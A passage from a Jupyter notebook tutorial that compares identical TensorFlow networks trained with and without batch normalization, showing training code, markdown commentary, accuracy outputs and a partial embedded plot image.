scale=0.05).astype(np.float32),\n", " np.random.normal(size=(100,100), scale=0.05).astype(np.float32),\n", " np.random.normal(size=(100,100), scale=0.05).astype(np.float32),\n", " np.random.normal(size=(100,10), scale=0.05).astype(np.float32)\n", " ]\n", "\n", " # Just to make sure the TensorFlow's default graph is empty before we start another\n", " # test, because we don't bother using different graphs or scoping and naming \n", " # elements carefully in this sample code.\n", " tf.reset_default_graph()\n", "\n", " # build two versions of same network, 1 without and 1 with batch normalization\n", " nn = NeuralNet(weights, activation_fn, False)\n", " bn = NeuralNet(weights, activation_fn, True)\n", " \n", " # train and test the two models\n", " with tf.Session() as sess:\n", " tf.global_variables_initializer().run()\n", "\n", " nn.train(sess, learning_rate, training_batches, batches_per_sample)\n", " bn.train(sess, learning_rate, training_batches, batches_per_sample)\n", " \n", " nn.test(sess)\n", " bn.test(sess)\n", " \n", " # Display a graph of how validation accuracies changed during training\n", " # so we can compare how the models trained and when they converged\n", " plot_training_accuracies(nn, bn, batches_per_sample=batches_per_sample)\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Comparisons between identical networks, with and without batch normalization\n", "\n", "The next series of cells train networks with various settings to show the differences with and without batch normalization. They are meant to clearly demonstrate the effects of batch normalization. We include a deeper discussion of batch normalization later in the notebook." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a ReLU activation function, a learning rate of 0.01, and reasonable starting weights.**" ] }, { "cell_type": "code", "execution_count": 4, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:23<00:00, 596.64it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.9739999771118164\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [04:22<00:00, 190.66it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.980400025844574\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.9728000164031982\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9775000214576721\n" ] }, { "data": { "image/png": "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\np0Ply3BuoblYRP4XZ6cuB7H